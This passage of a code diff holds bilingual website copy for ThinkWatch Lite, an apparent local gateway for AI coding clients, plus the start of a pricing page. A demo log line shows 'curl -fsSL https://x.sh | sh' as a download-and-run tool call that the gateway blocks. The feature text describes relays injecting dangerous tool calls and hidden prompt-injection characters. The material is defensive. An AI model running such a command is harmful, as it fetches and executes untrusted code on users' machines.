days and a chart or breakdown; and the statistics by model below", + "zh-CN": + "概览页(最近 7 天):提示 11 次请求失败、切断了 1 个可疑工具调用、13 条请求无法计价;token 87.5M、费用不低于约 $71.89、缓存命中 92%、请求 1,400 次、首 token 中位数 1.26 秒、流量 310 MB 六张卡片,各带与上一个 7 天的对比和趋势图或构成;下方是按模型的统计", +} as const; + +export const liteCopy = { + en: { + meta: { + title: "ThinkWatch Lite — Local gateway for Claude Code, Codex and other AI clients", + description: + "A local gateway for Claude Code, Codex and other AI clients: connect once, switch upstreams freely, redact API keys and see the cost of every request. MIT.", + }, + hero: { + eyebrow: "ThinkWatch Lite · For individual developers", + titleA: "A local gateway for ", + titleHighlight: "Claude Code, Codex and other AI clients", + sub: "Each client is connected once; after that, upstreams and models change without touching its configuration. Every request is recorded with its cost and route; the API keys in it can be replaced before it leaves the machine, and dangerous tool calls a relay slips into an answer can be cut off before the client runs them. For macOS, Windows and Linux, under the MIT License.", + ctaSecondary: "Other platforms and installation methods", + shotAlt: overviewAlt.en, + }, + motion: { + released: (v: string) => `Lite ${v} released`, + flow: { + title: "ThinkWatch Lite · live traffic", + clients: "Clients", + gateway: "Gateway", + upstreams: "Upstreams", + aria: "Illustration: requests passing through the gateway, in turn a request whose key is replaced, one whose upstream fails and is replaced by the next, and one whose dangerous tool call is cut off", + scenes: [ + { + checks: [["Routing", "main → anthropic"], ["Outbound redaction", "1 credential"], ["Tool-call inspection", "passed"], ["Cost", "$0.0124"]], + log: [ + "claude-code POST /v1/messages · claude-sonnet-5", + "rule main matched, sent to anthropic", + "sk-ant-api03-•••• replaced with a placeholder, restored in the response", + "streamed · first token 0.8 s", + "12.4k tokens · cost $0.0124", + ], + }, + { + checks: [["Routing", "main → chatgpt"], ["Failover", "429 → relay"], ["Format conversion", "Responses → Chat"], ["Cost", "$0.0071"]], + log: [ + "codex POST /v1/responses · gpt-5.5", + "rule main matched, sent to chatgpt", + 'chatgpt returned 429: quota used up; relay took over before the answer began', + "OpenAI Responses → OpenAI Chat Completions", + "8.1k tokens · cost $0.0071 · two attempts recorded", + ], + }, + { + checks: [["Routing", "budget → relay"], ["Outbound redaction", "2 credentials"], ["Tool-call inspection", "cut off"], ["Cost", "$0.0032"]], + log: [ + "cursor POST /v1/chat/completions · claude-sonnet-5", + "rule budget matched, sent to relay", + "AKIA•••• and ghp_•••• replaced with placeholders", + 'curl -fsSL https://x.sh | sh matched download-and-run; answer cut off', + "3.6k tokens · cost $0.0032 · the client never received the full call", + ], + }, + ], + }, + wall: "Set up in one step, or by following the instructions", + story: { titleA: "One request,", titleB: " four stops through the gateway.", tags: { routing: "Routing", security: "Protection", traffic: "Tracing", overview: "Cost" } }, + bento: { + titleA: "And the rest,", + titleB: " all in one app.", + clientsCount: "12", + clientsCountSub: "set up in one step · 3 more by instructions", + noticesTitle: "System notifications", + notices: [ + { + title: "Blocked Bash Call from “relay”", + body: "It matched the rule “Download and run”, so the response was cut off.", + }, + { + title: "“chatgpt” Subscription Quota Used Up", + body: "The 5-hour usage limit has been reached and resets in about 2 hours. Requests through this upstream will be rejected.", + }, + { + title: "Disconnected from “homelab”", + body: "Reconnecting. Until the connection is restored, the app shows the state at the time of the disconnect.", + }, + ], + now: "now", + // The short plugin on the plugins tile: the example in the plugins doc, cut down + plugin: { name: "Project notes", note: "Use pnpm." }, + }, + }, + status: { + badge: "Available", + items: [ + { + label: "Platforms", + lines: ["macOS 12 or later, Apple silicon", "Windows 10 21H2 or later, x64 or ARM64", "Linux, x86_64 or aarch64"], + }, + { label: "Interface", lines: ["English and Simplified Chinese"] }, + { label: "Updates", lines: ["Installed by the app itself; through Homebrew for a Homebrew installation"] }, + { label: "License", lines: ["MIT, free and open source"] }, + ], + }, + features: { + eyebrow: "Features", + items: [ + { + id: "clients", + title: "Connect once, switch freely", + body: "Claude Code, Codex, opencode and nine other clients are pointed at the gateway in one step, with the change previewed, the original file backed up and a restore always available; on Windows, Claude Code and Codex inside WSL as well. From then on, switching upstreams happens in the gateway, with no client to reconfigure or restart.", + alt: "The Clients page: Claude Code and Codex connected, each with its own key and its requests over the last 24 hours; opencode not connected; Cursor set up by hand and in use; Continue and Antigravity CLI not yet set up; Zed and Aider not detected", + }, + { + id: "security", + title: "Protection against relays: keys replaced, malicious tool calls cut off", + body: "API keys, private keys, connection-string passwords, ID numbers and bank card numbers can be replaced with placeholders before a request leaves, so a relay never holds the real values, and an answer whose tool call downloads and runs code or sends out credentials can be cut off before the client runs it. Hidden characters that smuggle in instructions can be deleted and prompt injection refused; the three protections start in Observe, recording without changing anything, and each switches to Replace, Cut off or Enforce on its own.", + alt: "The Security page log: credentials replaced before a request left, one of them matched by a custom rule; a download-and-run tool call cut off; and hidden characters, a delete command and an injected instruction recorded, each with the key, client, model and upstream of its request", + }, + { + id: "mcp", + title: "MCP servers, skills and hooks, scanned", + body: "The MCP servers of thirteen clients appear side by side, with third-party remote servers and inconsistent configurations marked, and can be copied or removed between clients. Client configuration, skills, hooks and project instructions are scanned for hidden characters, prompt injection, dangerous commands and overly broad permissions, and a new finding raises a notification.", + alt: "The MCP page: the MCP servers configured in Claude Code, Claude Desktop, Cursor, Codex, opencode, Antigravity CLI and Zed side by side, with remote third-party servers and a server configured differently in two clients marked; one high, one medium and one low finding in 11 scanned files", + }, + { + id: "traffic", + title: "Every request, traceable", + body: "A request shows the rule it matched, each upstream it tried, any conversion between API formats and how its cost was calculated, and its content can be read live while the answer streams. A finished request can be replayed against another upstream and the two answers compared side by side, and the whole history can be searched, including the text of requests and answers.", + alt: "The Traffic page: each request with its key, model, upstream, time to first token, total time, tokens and cost, with marks for converted formats, redacted keys and a blocked request, and one request answered locally by the gateway", + }, + { + id: "routing", + title: "Routing by rule, with failover", + body: "Rules send requests to different upstreams by model, tools, images, extended thinking and more. When an upstream fails before the answer begins, the next one takes over, and each session stays on one upstream so its prompt cache keeps hitting. Auxiliary requests such as title generation and warm-ups can be answered locally without using any quota.", + alt: "The Routing page: a map from keys through routes and groups to upstreams, and the routes with the rules each applies in order", + }, + { + id: "upstreams", + title: "Any upstream, any API format", + body: "API keys, Amazon Bedrock, ChatGPT and Z.ai accounts, relays such as OpenRouter and local Ollama models all serve as upstreams, with the balances, quotas and reset times their services report shown. Requests are converted between the Anthropic, OpenAI and Gemini APIs, so Codex can also use models that only speak Chat Completions.", + alt: "The Upstreams page: API-key upstreams for Anthropic, DeepSeek and Gemini, a relay priced with its own price sheet, a ChatGPT Plus account with 58% of its 5-hour limit used, OpenRouter through a proxy and a local Ollama set to free, each with its requests, cost and latency over 24 hours", + }, + { + id: "overview", + title: "Costs stated as they are", + body: "Tokens, cost, cache hits, requests, time to first token and traffic on one screen, each against the previous period and broken down by model, upstream or key. Estimated amounts are marked, and requests without a price are counted separately instead of as zero; prices follow LiteLLM's public list, refreshed daily, or a custom price sheet.", + alt: overviewAlt.en, + }, + { + id: "dry-run", + title: "Dry run before changing rules", + body: "A dry run shows which rule a request would match, why the rules before it did not, and which upstreams would be tried in turn. Nothing is sent and nothing is charged.", + alt: "A routing dry run: a request from the cursor key for claude-sonnet-5 in the OpenAI Chat Completions format does not match the gemini rule, which says why, matches the catch-all rule and goes to the lowest-cost group, which tries relay and then anthropic, converting the request to Anthropic Messages", + }, + { + id: "keys", + title: "A key for each client", + body: "Connecting a client gives it a key of its own, so traffic and cost are counted per client. Each key has its own route, visible models, concurrency limit and usage limits on requests, tokens or cost, and a rotated key is written into its client's configuration.", + alt: "The Keys page: the default key and one key each for Claude Code, Codex and Cursor, with the route each key uses, the models it may use, and its requests and cost over the last 24 hours", + }, + // No screenshot: the bento shows a short plugin instead, so there is no alt. + { + id: "plugins", + title: "Plugins that adapt requests and answers", + body: "Short JavaScript plugins adapt requests and answers to a particular setup; the app includes two, one for answers in a chosen language and one for converting file paths between WSL and Windows. Each plugin runs in a sandbox without network or file access, reads and changes only the parts its permissions declare, and receives placeholders instead of keys; every change is recorded on the request and checked by the same protections as anything a client sends.", + }, + ], + }, + remote: { + eyebrow: "Remote core", + title: "ThinkWatch Core on a server", + body: [ + "The gateway also runs on a Linux server as a systemd service, serving clients across the network. The app connects to it and shows the server's traffic, cost and configuration in the same pages, and the clients on the computer can be pointed at the server's gateway in one step.", + "The control connection is encrypted and authenticated by a Noise handshake, with no certificates involved. The app connects to one core at a time, and the local data stays as it was while it is connected elsewhere.", + ], + serverDocs: "Server deployment guide", + docs: "Connecting to a remote core", + addAlt: + "Adding a remote connection: the name homelab, the address 192.168.1.40, the control port and the key, with a successful test that reports the core version and the gateway at 192.168.1.40:8788", + figures: [ + { + id: "remote-switcher", + caption: "Connections are switched from the foot of the sidebar.", + alt: "The connection menu at the foot of the sidebar while connected to homelab: this Mac with its local core stopped, homelab selected, build-server, and entries to add or manage connections", + }, + { + id: "remote-clients", + caption: "The Clients page changes the clients on this computer.", + alt: "The Clients page while connected to homelab, with a note that it changes the client configuration on this Mac to point at homelab's gateway at 192.168.1.40:8788 and does not affect clients on the server", + }, + ], + }, + menubar: { + eyebrow: "Outside the main window", + title: "Menu bar, tray and notifications", + body: "The macOS menu bar shows today's tokens and cost. Its menu gives the gateway's state, each quota with its reset time and the requests in progress, and copies the gateway address or default key without opening the window. Windows and Linux have the same menu in the tray.", + notices: + "A system notification reports a gateway that stopped forwarding, a lost remote connection, a quota that ran out, a credential that stopped working, an unreachable proxy, configuration that did not take effect, a dangerous tool call that was cut off, and suspicious content in client configuration.", + chipAlt: "The menu bar item: the ThinkWatch mark with today's 13.3M tokens above today's cost, $9.34", + menuAlt: + "The menu bar menu: an item to open ThinkWatch Lite; today's 13.3M tokens, 204 requests of which 4 failed and $9.34, with the gateway's state and output speed; the ChatGPT account's 5-hour and weekly quotas with their reset times; the request in progress; and items to copy the gateway address or the default key, open settings, switch connection, check for updates and quit", + }, + built: { + eyebrow: "Architecture", + title: "The app is the interface; the gateway is ThinkWatch Core", + intro: "Lite holds no routing, forwarding or accounting logic. All of it is in ThinkWatch Core, which runs beside the app or on a Linux server.", + nodes: [ + { role: "Desktop app", title: "ThinkWatch Lite", items: ["Main window, menu bar and tray", "Starts and supervises the local core", "Or connects to a core on a server"] }, + { role: "Gateway", title: "ThinkWatch Core", items: ["Routing, failover and format conversion", "Cost accounting and request records", "The three security protections"] }, + { role: "Upstreams", title: "Model services", items: ["Anthropic, OpenAI and Gemini APIs", "Amazon Bedrock and signed-in accounts", "Relays and local models"] }, + ], + links: ["Encrypted control channel", "Forwards requests"], + note: "The control channel is a Unix socket on macOS and Linux, a loopback port on Windows and a TCP port to a core on a server; every connection is encrypted and authenticated by a Noise handshake.", + }, + install: { + eyebrow: "Install", + title: "Download ThinkWatch Lite", + intro: "The gateway ships inside the app; nothing else needs to be installed.", + docs: "Installation guide", + source: "Build from source", + tabsLabel: "Operating system", + tabs: { mac: "macOS", windows: "Windows", linux: "Linux" }, + recommended: "Recommended", + version: "Version", + sha: "sha256", + releases: "All releases", + other: "Other architecture: ", + mac: { + req: "Requires macOS 12 or later on Apple silicon.", + brewTitle: "Homebrew", + brewBody: "Homebrew installs the app and keeps it up to date.", + dmgTitle: "Disk image", + dmgBody: "Download, open and drag the app into Applications. The app then updates itself.", + dmgDownload: "Download the disk image", + note: "The app is not notarized by Apple. When it is installed from the disk image and macOS blocks the first launch, choose Open Anyway in System Settings › Privacy & Security. The Homebrew install needs no such step.", + }, + windows: { + req: "Requires Windows 10 21H2 or later on x64 or ARM64.", + title: "Installer", + body: "Installs the app for all users and keeps it up to date.", + download: { x64: "Download for Windows (x64)", arm64: "Download for Windows (ARM64)" }, + otherLink: { x64: "x64 installer", arm64: "ARM64 installer" }, + portable: "Portable build (ZIP, no installation): ", + note: "Neither the installer nor the portable build is code-signed. When SmartScreen shows “Windows protected your PC”, choose More info, then Run anyway. Installing needs administrator permission, and the installer downloads WebView2 if it is missing; the portable build offers its download page instead.", + }, + linux: { + req: "Requires Ubuntu 22.04, Debian 12, Fedora 36 or a later distribution, on x86_64 or aarch64.", + scriptTitle: "Install script", + scriptBody: "Downloads the AppImage for this machine, checks its sha256, places it in ~/Applications and starts it.", + appimageTitle: "AppImage", + appimageBody: "Download, allow it to run (chmod +x) and open it.", + download: { x86_64: "Download the AppImage (x86_64)", aarch64: "Download the AppImage (aarch64)" }, + otherLink: { x86_64: "x86_64 AppImage", aarch64: "aarch64 AppImage" }, + note: "Needs fusermount3 from the fuse3 package, which most desktops include. Keep a downloaded AppImage in a folder the user can write to, such as ~/Applications, so that it can update itself. On GNOME the tray icon needs the AppIndicator extension.", + }, + }, + license: { + title: "MIT License", + body: "Use, modification, and redistribution are permitted.", + link: "View on GitHub", + }, + }, + "zh-CN": { + meta: { + title: "ThinkWatch Lite — Claude Code、Codex 等 AI 客户端的本地网关", + description: + "Claude Code、Codex 等 AI 客户端的本地网关:接入一次即可切换上游,发出前替换密钥,切断危险工具调用,记录每个请求的费用。MIT 开源。", + }, + hero: { + eyebrow: "ThinkWatch Lite · 面向个人开发者", + titleA: "Claude Code、Codex 等 AI 客户端的", + titleHighlight: "本地网关", + sub: "客户端只需接入一次,此后更换上游或模型无需改动客户端配置。每个请求的费用与去向都有记录;发出前可替换其中的 API 密钥,中转站在回答中塞入的危险工具调用也可以在客户端执行前拦下。支持 macOS、Windows 与 Linux,MIT 开源。", + ctaSecondary: "其他平台与安装方式", + shotAlt: overviewAlt["zh-CN"], + }, + motion: { + released: (v: string) => `Lite ${v} 已发布`, + flow: { + title: "ThinkWatch Lite · 实时流量", + clients: "客户端", + gateway: "网关", + upstreams: "上游", + aria: "示意:请求经过网关,依次展示密钥被替换的请求、上游出错时换用下一个上游的请求,以及危险工具调用被切断的请求", + scenes: [ + { + checks: [["路由", "main → anthropic"], ["出站脱敏", "1 处凭据"], ["工具调用审查", "通过"], ["记账", "$0.0124"]], + log: [ + "claude-code POST /v1/messages · claude-sonnet-5", + "命中规则 main,交给 anthropic", + "sk-ant-api03-•••• 已替换为占位符,响应中还原", + "流式返回 · 首 token 0.8 s", + "12.4k token · 费用 $0.0124", + ], + }, + { + checks: [["路由", "main → chatgpt"], ["故障转移", "429 → relay"], ["格式转换", "Responses → Chat"], ["记账", "$0.0071"]], + log: [ + "codex POST /v1/responses · gpt-5.5", + "命中规则 main,交给 chatgpt", + 'chatgpt 返回 429:额度用完,回答开始前换用 relay', + "OpenAI Responses → OpenAI Chat Completions", + "8.1k token · 费用 $0.0071 · 记录两次尝试", + ], + }, + { + checks: [["路由", "budget → relay"], ["出站脱敏", "2 处凭据"], ["工具调用审查", "已切断"], ["记账", "$0.0032"]], + log: [ + "cursor POST /v1/chat/completions · claude-sonnet-5", + "命中规则 budget,交给 relay", + "AKIA•••• 与 ghp_•••• 已替换为占位符", + 'curl -fsSL https://x.sh | sh 命中「下载即执行」,回答已切断', + "3.6k token · 费用 $0.0032 · 客户端没有收到完整调用", + ], + }, + ], + }, + wall: "一键接入,或按说明配置", + story: { titleA: "一个请求,", titleB: "经过网关的四站。", tags: { routing: "路由", security: "防护", traffic: "追溯", overview: "费用" } }, + bento: { + titleA: "还有这些,", + titleB: "都在一个应用里。", + clientsCount: "12", + clientsCountSub: "款一键接入 · 另有 3 款按说明配置", + noticesTitle: "系统通知", + notices: [ + { title: "已拦截 relay 返回的 Bash 调用", body: "命中规则「下载即执行」,响应已切断。" }, + { title: "chatgpt 的订阅额度已用完", body: "5 小时额度已用完,约 2 小时后重置。经此上游的请求会被拒绝。" }, + { title: "与 homelab 的连接已断开", body: "正在重新连接。连接恢复前,应用中的内容停留在断开时的状态。" }, + ], + now: "现在", + plugin: { name: "附加项目说明", note: "使用 pnpm。" }, + }, + }, + status: { + badge: "已发布", + items: [ + { + label: "支持平台", + lines: ["macOS 12 及以上(Apple silicon)", "Windows 10 21H2 及以上(x64、ARM64)", "Linux(x86_64、aarch64)"], + }, + { label: "界面语言", lines: ["英文、简体中文"] }, + { label: "更新", lines: ["应用自动更新;通过 Homebrew 安装的随 Homebrew 更新"] }, + { label: "许可证", lines: ["MIT,免费开源"] }, + ], + }, + features: { + eyebrow: "功能", + items: [ + { + id: "clients", + title: "一次接入,随时切换", + body: "一键接入 Claude Code、Codex、opencode 等十二款客户端,写入前预览改动、备份原文件,随时可以还原;Windows 上 WSL 中的 Claude Code 与 Codex 同样支持。此后切换上游只在网关中完成,客户端无需改配置或重启。", + alt: "客户端页:Claude Code 与 Codex 已接管,各用一把密钥,并列出最近 24 小时的请求;opencode 尚未接管;Cursor 已手动配置并在使用;Continue 与 Antigravity CLI 尚未配置;Zed 与 Aider 未检测到", + }, + { + id: "security", + title: "防范中转站:替换密钥,切断恶意工具调用", + body: "API 密钥、私钥、连接串口令、身份证号与银行卡号可在请求发出前换成占位符,中转站拿不到原值;回答中的工具调用若是下载即执行或外发凭据,可在客户端执行之前切断。夹带指令的隐藏字符可以删除,提示注入可以拒绝;三项防护出厂只记录、不改动请求,可逐项切换到「替换」「切断」或「处置」。", + alt: "安全页日志:请求发出前替换的凭据(其中一条由自定义规则命中)、被切断的下载即执行工具调用,以及记录在案的隐藏字符、删除命令与注入指令,每条都注明所属请求的密钥、客户端、模型与上游", + }, + { + id: "mcp", + title: "扫描 MCP、技能与钩子", + body: "十三款客户端的 MCP 服务器集中显示,标出第三方远程服务器与各客户端之间不一致的配置,可以在客户端之间复制或移除。客户端配置、技能、钩子与项目指令中的隐藏字符、提示注入、危险命令与过宽权限会被找出,出现新发现时发送通知。", + alt: "MCP 页:Claude Code、Claude Desktop、Cursor、Codex、opencode、Antigravity CLI 与 Zed 中配置的 MCP 服务器并列显示,标出第三方远程服务器与两个客户端间配置不一致的服务器;共扫描 11 个文件,发现高、中、低风险各一项", + }, + { + id: "traffic", + title: "每个请求都可追溯", + body: "请求详情给出命中的规则、尝试过的每个上游、API 格式转换,以及费用的计算依据,回答生成期间即可实时查看请求与回答的内容。已结束的请求可以重放到另一个上游,并排对比两次回答;全部请求记录都可以搜索,包括请求与回答的内容。", + alt: "流量页:逐条列出请求的密钥、模型、上游、首 token 时间、总耗时、token 与费用,标出格式转换、密钥脱敏与被拦截的请求,其中一条由网关在本地应答", + }, + { + id: "routing", + title: "按规则分流,失败自动换", + body: "按模型、工具、图片、扩展思考等条件把请求分给不同上游。回答开始前上游出错时自动换用下一个,同一会话固定使用同一上游,提示缓存保持有效。标题生成、预热等辅助请求可在本地应答,不占用额度。", + alt: "路由页:从密钥经路由与策略组到上游的链路图,下方逐条列出每条路由的规则", + }, + { + id: "upstreams", + title: "多种上游,接口互转", + body: "API 密钥、Amazon Bedrock、ChatGPT 与 Z.ai 账号、OpenRouter 等中转服务以及本机 Ollama 均可作为上游,服务报告的余额、额度与重置时间一并显示。Anthropic、OpenAI、Gemini 接口之间自动转换,Codex 也能使用只支持 Chat Completions 的模型。", + alt: "上游页:Anthropic、DeepSeek、Gemini 等 API 密钥上游,按自有价目表计价的中转,5 小时额度已用 58% 的 ChatGPT Plus 账号,经代理访问的 OpenRouter,以及设为免费的本机 Ollama,并列出各自 24 小时的请求数、费用与延迟", + }, + { + id: "overview", + title: "费用如实计算", + body: "token、费用、缓存命中、请求、首 token 时间与流量集中在一屏,均与上一个区间对比,并可按模型、上游或密钥查看明细。估算的金额单独标注,无法计价的请求单独计数,不按零计入;价格每日按 LiteLLM 公开价更新,也可以使用自定义价目表。", + alt: overviewAlt["zh-CN"], + }, + { + id: "dry-run", + title: "改规则前先试算", + body: "试算给出请求会命中哪条规则、前面的规则为何未命中,以及将依次尝试哪些上游。不发出请求,也不产生费用。", + alt: "路由试算:cursor 密钥以 OpenAI Chat Completions 格式请求 claude-sonnet-5;gemini 规则未命中并说明原因,catch-all 规则命中,请求交给费用最低优先的策略组,依次尝试 relay 与 anthropic,并转换为 Anthropic Messages", + }, + { + id: "keys", + title: "每个客户端一把密钥", + body: "接入客户端时为它生成专用密钥,流量与费用按客户端分开统计。每把密钥可单独设置路由、可见模型、并发上限,以及按请求次数、token 或费用计的用量上限,更换后的新密钥自动写入客户端配置。", + alt: "密钥页:默认密钥与 Claude Code、Codex、Cursor 各自的密钥,列出各自使用的路由、可用模型,以及最近 24 小时的请求数与费用", + }, + { + id: "plugins", + title: "插件改写请求与回答", + body: "简短的 JavaScript 插件让请求与回答适应具体的使用场景;应用自带两个插件,分别用于指定回答语言、在 WSL 与 Windows 之间转换路径。插件在没有网络与文件访问的沙箱中运行,只能读取和改动权限中声明的部分,看到的是占位符而不是密钥;每一处改动都记录在请求上,并与客户端发来的内容一样经过各项防护的检查。", + }, + ], + }, + remote: { + eyebrow: "连接远程 core", + title: "服务器上的 ThinkWatch Core", + body: [ + "网关也可以作为 systemd 服务部署在 Linux 服务器上,为网络中的客户端提供服务。应用连接后,在同样的页面中查看与管理服务器的流量、费用和配置,本机的客户端也可以一步改为指向服务器的网关。", + "控制连接经 Noise 握手加密与认证,不涉及证书。应用同一时间只连接一个 core,连接服务器期间本机数据原样保留。", + ], + serverDocs: "服务器部署指南", + docs: "连接远程 core", + addAlt: + "添加远程连接:名称 homelab、地址 192.168.1.40、控制端口与密钥,测试连接成功,显示 core 版本与网关地址 192.168.1.40:8788", + figures: [ + { + id: "remote-switcher", + caption: "在侧栏底部切换连接。", + alt: "连接到 homelab 时侧栏底部的连接菜单:本机(本地 core 已停止)、已选中的 homelab、build-server,以及添加和管理连接的入口", + }, + { + id: "remote-clients", + caption: "客户端页修改的是这台电脑上的客户端。", + alt: "连接到 homelab 时的客户端页,顶部说明此处修改的是这台 Mac 上的客户端配置,使其指向 homelab 的网关 192.168.1.40:8788,服务器上的客户端不受影响", + }, + ], + }, + menubar: { + eyebrow: "主窗口之外", + title: "菜单栏、托盘与系统通知", + body: "macOS 菜单栏显示今日 token 与费用。点开的菜单给出网关状态、各项额度及重置时间与进行中的请求,不打开主窗口即可复制网关地址或默认密钥。Windows 与 Linux 的托盘提供相同的菜单。", + notices: + "网关停止转发、远程连接断开、额度用完、凭据失效、代理无法连接、配置未能生效、危险工具调用被切断,以及客户端配置中出现可疑内容时,应用发送系统通知。", + chipAlt: "菜单栏:ThinkWatch 标识,右侧上行为今日 token 13.3M,下行为今日费用 $9.34", + menuAlt: + "菜单栏菜单:打开主界面;今日 token 13.3M、请求 204 次(失败 4 次)、费用 $9.34,以及网关状态与输出速率;ChatGPT 账号的 5 小时与每周额度及重置时间;进行中的请求;以及复制网关地址、复制默认密钥、设置、切换连接、检查更新与退出等菜单项", + }, + built: { + eyebrow: "架构", + title: "应用负责界面,网关是 ThinkWatch Core", + intro: "Lite 不含路由、转发与计费逻辑,这些都在 ThinkWatch Core 中;core 随应用在本机运行,也可以部署在 Linux 服务器上。", + nodes: [ + { role: "桌面应用", title: "ThinkWatch Lite", items: ["主窗口、菜单栏与托盘", "启动并守护本机的 core", "或连接服务器上的 core"] }, + { role: "网关", title: "ThinkWatch Core", items: ["路由、故障转移与格式转换", "费用核算与请求记录", "三项安全防护"] }, + { role: "上游", title: "模型服务", items: ["Anthropic、OpenAI、Gemini API", "Amazon Bedrock 与登录的账号", "中转服务与本机模型"] }, + ], + links: ["加密控制通道", "转发请求"], + note: "控制通道在 macOS 与 Linux 上是 unix socket,在 Windows 上是本机回环端口,连接服务器时是 TCP 端口;每条连接都经 Noise 握手加密与认证。", + }, + install: { + eyebrow: "安装", + title: "下载 ThinkWatch Lite", + intro: "网关随应用一同安装,无需另装其他组件。", + docs: "安装指南", + source: "从源码构建", + tabsLabel: "操作系统", + tabs: { mac: "macOS", windows: "Windows", linux: "Linux" }, + recommended: "推荐", + version: "版本", + sha: "sha256 校验值", + releases: "全部版本", + other: "其他架构:", + mac: { + req: "需要 macOS 12 及以上,Apple silicon 芯片。", + brewTitle: "Homebrew", + brewBody: "由 Homebrew 负责安装与升级。", + dmgTitle: "磁盘映像", + dmgBody: "下载后打开,把应用拖入「应用程序」即可,之后应用自动更新。", + dmgDownload: "下载磁盘映像", + note: "应用未经 Apple 公证。用磁盘映像安装时,若首次打开被拦下,在「系统设置 › 隐私与安全性」中点「仍要打开」;通过 Homebrew 安装无需这一步。", + }, + windows: { + req: "需要 Windows 10 21H2 及以上,x64 或 ARM64。", + title: "安装程序", + body: "为所有用户安装,之后应用自动更新。", + download: { x64: "下载 Windows 版(x64)", arm64: "下载 Windows 版(ARM64)" }, + otherLink: { x64: "x64 安装程序", arm64: "ARM64 安装程序" }, + portable: "绿色版(ZIP,免安装):", + note: "安装程序与绿色版均未经代码签名。SmartScreen 显示「Windows 已保护你的电脑」时,依次点「更多信息」「仍要运行」。安装需要管理员权限;缺少 WebView2 时安装程序会自动下载,绿色版则给出下载页面。", + }, + linux: { + req: "需要 Ubuntu 22.04、Debian 12、Fedora 36 或更新的发行版,x86_64 或 aarch64。", + scriptTitle: "一键安装", + scriptBody: "按本机架构下载 AppImage,核对 sha256 后放入 ~/Applications 并启动。", + appimageTitle: "AppImage", + appimageBody: "下载后允许执行(chmod +x)再打开。", + download: { x86_64: "下载 AppImage(x86_64)", aarch64: "下载 AppImage(aarch64)" }, + otherLink: { x86_64: "x86_64 AppImage", aarch64: "aarch64 AppImage" }, + note: "需要 fuse3 软件包中的 fusermount3,多数桌面系统已自带。手动下载的 AppImage 应放在当前用户可写的目录(如 ~/Applications),以便自动更新;GNOME 上显示托盘图标需要 AppIndicator 扩展。", + }, + }, + license: { + title: "MIT 许可证", + body: "允许使用、修改和再分发。", + link: "在 GitHub 上查看", + }, + }, +} as const; diff --git a/src/i18n/pages/pricing.ts b/src/i18n/pages/pricing.ts new file mode 100644 index 0000000..abed220 --- /dev/null +++ b/src/i18n/pages/pricing.ts @@ -0,0 +1,255 @@ +// Copy for the /pricing page. +// Every rule, tier, price and definition here mirrors LICENSING.md in the +// ThinkWatch repository. If that file changes, update this one to match, +// and keep the numbers identical across both languages. + +const links = { + thinkwatchLicense: "https://github.com/ThinkWatchProject/ThinkWatch/blob/main/LICENSE", + licensingMd: "https://github.com/ThinkWatchProject/ThinkWatch/blob/main/LICENSING.md", + liteLicense: "https://github.com/ThinkWatchProject/ThinkWatch-Lite/blob/main/LICENSE", + coreLicense: "https://github.com/ThinkWatchProject/ThinkWatch-Core/blob/main/LICENSE", + sales: "mailto:fylorn@outlook.com", + salesLabel: "fylorn@outlook.com", +} as const; + +const tierNumbers = [ + { name: "Starter", tokens: "0 – 10,000,000", calls: "0 – 10,000", free: true }, + { name: "Growth", tokens: "10,000,001 – 100,000,000", calls: "10,001 – 100,000", free: false }, + { name: "Scale", tokens: "100,000,001 – 1,000,000,000", calls: "100,001 – 1,000,000", free: false }, + { name: "Enterprise", tokens: "1,000,000,001 – 10,000,000,000", calls: "1,000,001 – 10,000,000", free: false }, +] as const; + +export const pricingCopy = { + en: { + meta: { + title: "Pricing · ThinkWatch", + description: + "ThinkWatch Lite and Core are MIT-licensed. ThinkWatch Enterprise is under BSL 1.1: free outside production and in production within a monthly allowance.", + breadcrumbHome: "Home", + breadcrumbPage: "Pricing", + }, + hero: { + eyebrow: "Licenses and commercial terms", + title: "Pricing", + sub: "ThinkWatch Lite and ThinkWatch Core are licensed under MIT. ThinkWatch Enterprise is source-available under the Business Source License 1.1, with free production use up to monthly thresholds.", + }, + products: [ + { + name: "ThinkWatch Lite", + badge: "MIT", + tone: "teal", + body: "Free to use, modify, and redistribute, commercially or not. Keep the copyright and license notice.", + }, + { + name: "ThinkWatch Core", + badge: "MIT", + tone: "teal", + body: "Free to use, modify, and redistribute, commercially or not. Keep the copyright and license notice.", + }, + { + name: "ThinkWatch Enterprise", + badge: "BSL 1.1", + tone: "amber", + body: "Free for non-production use. Free in production up to both monthly thresholds below. A commercial license is required above either threshold.", + }, + ], + rules: { + eyebrow: "ThinkWatch Enterprise · Business Source License 1.1", + title: "Terms summary", + rows: [ + { term: "Non-production use", rule: "Permitted at no charge." }, + { + term: "Free production use", + rule: "Permitted up to both 10,000,000 billable tokens and 10,000 MCP tool calls per UTC calendar month.", + }, + { + term: "Commercial trigger", + rule: "A separate commercial license is required if either threshold is exceeded.", + }, + { + term: "Open-source conversion", + rule: "Each released version converts to GPL-2.0-or-later on the earlier of its Change Date or the fourth anniversary of its first public release.", + }, + ], + }, + tiers: { + title: "Commercial tiers", + sub: "Priced by monthly usage, not by seat.", + tableLabel: "ThinkWatch Enterprise commercial tiers", + scrollHint: "Scroll sideways to see every column.", + headers: ["Tier", "Billable tokens / month", "MCP tool calls / month", "List price"], + rows: [ + { ...tierNumbers[0], price: "Free, under the Additional Use Grant" }, + { ...tierNumbers[1], price: "USD 499 / month" }, + { ...tierNumbers[2], price: "USD 1,999 / month" }, + { ...tierNumbers[3], price: "USD 6,999 / month" }, + { + name: "Custom", + tokens: "Above 10,000,000,000", + calls: "Above 10,000,000", + free: false, + price: "Custom commercial agreement", + }, + ], + notes: [ + "The applicable tier is the higher tier reached by either metric. 8,000,000 billable tokens and 25,000 MCP tool calls is Growth; 220,000,000 billable tokens and 80,000 MCP tool calls is Scale.", + "Embedded, OEM, and managed-service offerings may require a custom commercial agreement even when usage is otherwise metered monthly.", + ], + }, + counts: { + eyebrow: "Usage measurement", + volume: + "Tiers are measured on Production Usage Volume: the total billable tokens and total MCP tool calls processed during a UTC calendar month.", + counted: "Counted", + notCounted: "Not counted", + cards: [ + { + title: "Billable tokens", + counted: + "All input tokens processed and all output tokens generated for production traffic, aggregated across every workspace, team, environment, and customer operated by the same legal entity.", + notCounted: + "Local development, CI, test, staging, or demo traffic, and internal evaluation traffic that does not serve end-user production requests.", + }, + { + title: "MCP tool calls", + counted: + "Each production invocation of an MCP tool routed through ThinkWatch, whether a human user, an agent, an automation, or a background workflow started it, aggregated across every workspace, team, environment, and customer operated by the same legal entity.", + notCounted: + "Internal health checks, tool discovery and catalog refresh operations such as 